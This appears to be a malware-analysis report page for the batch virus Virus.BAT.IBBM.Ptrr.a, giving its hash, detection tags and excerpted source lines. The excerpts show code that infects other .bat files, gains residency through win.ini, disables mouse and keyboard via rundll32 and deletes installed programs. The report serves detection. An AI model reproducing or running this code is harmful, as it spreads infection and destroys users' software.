Benign Download

Virus.BAT.IBBM.Ptrr.a

Rundll32 DLL execution with export nameShell command execution capability

SHA-256c2ddfcb15582bdafccb4272a92a7322b65868c17f851a583c9760eefa4db76b6

Evidence

References DOS boot configuration files lines 2–6

2:58… already infected
3set bd-ptrr=%0.bat				;all bat-files are saved in the parameter bd-ptrr
4if not exist %bd-ptrr% set bd-ptrr=%0		;if bd-ptrr is not there, the bat-file-names are saved in there
5if '%bd-ptrr%==' set bd-ptrr=autoexec.bat	;do not infect, if autoexec.bat is in bd-ptrr
6if exist c:\_bd-ptrr.bat goto bd-ptrrg		;if c:\_bd-ptrr.bat exists, jump to bd-p …

English function-word token "and" lines 11–13

11:14… \_bd-ptrr bd-ptrr vir		;c:\_bd-ptrr is executed and command.com is ended
12:ebd-ptrr					;jump-mark
13set bd-ptrr=					;parameter bd-ptrr gets erased …

English function-word token "for" lines 14–17

14:23… umps to bd-ptrrend
15:bd-ptrrvir					;jump-mark
16for %%a in (*.bat ..\*.bat) do call c:\_bd-ptrr bd-ptrr i %%a	;infects some bat-files
17exit bd-ptrr …

English function-word token "this" lines 32–36

32:104… nal win.ini
33goto comexe					;jumps to comexe
34						;this clear line is necessary for the win.ini-residency
35[windows]					;mark for win.ini
36load= …

Rundll32 DLL execution with export name lines 60–64

60:8… l					;all echos are led to the "null-device" again
61c:\windows\rundll32.exe mouse,disable		;deactivates the mouse
62c:\windows\rundll32.exe keyboard,disable	;deactivates the keyboard
63del c:\t_online\online.exe			;kills T-Online
64del c:\acrobatx\reader\acrord32.exe		;kills AcrobatRea …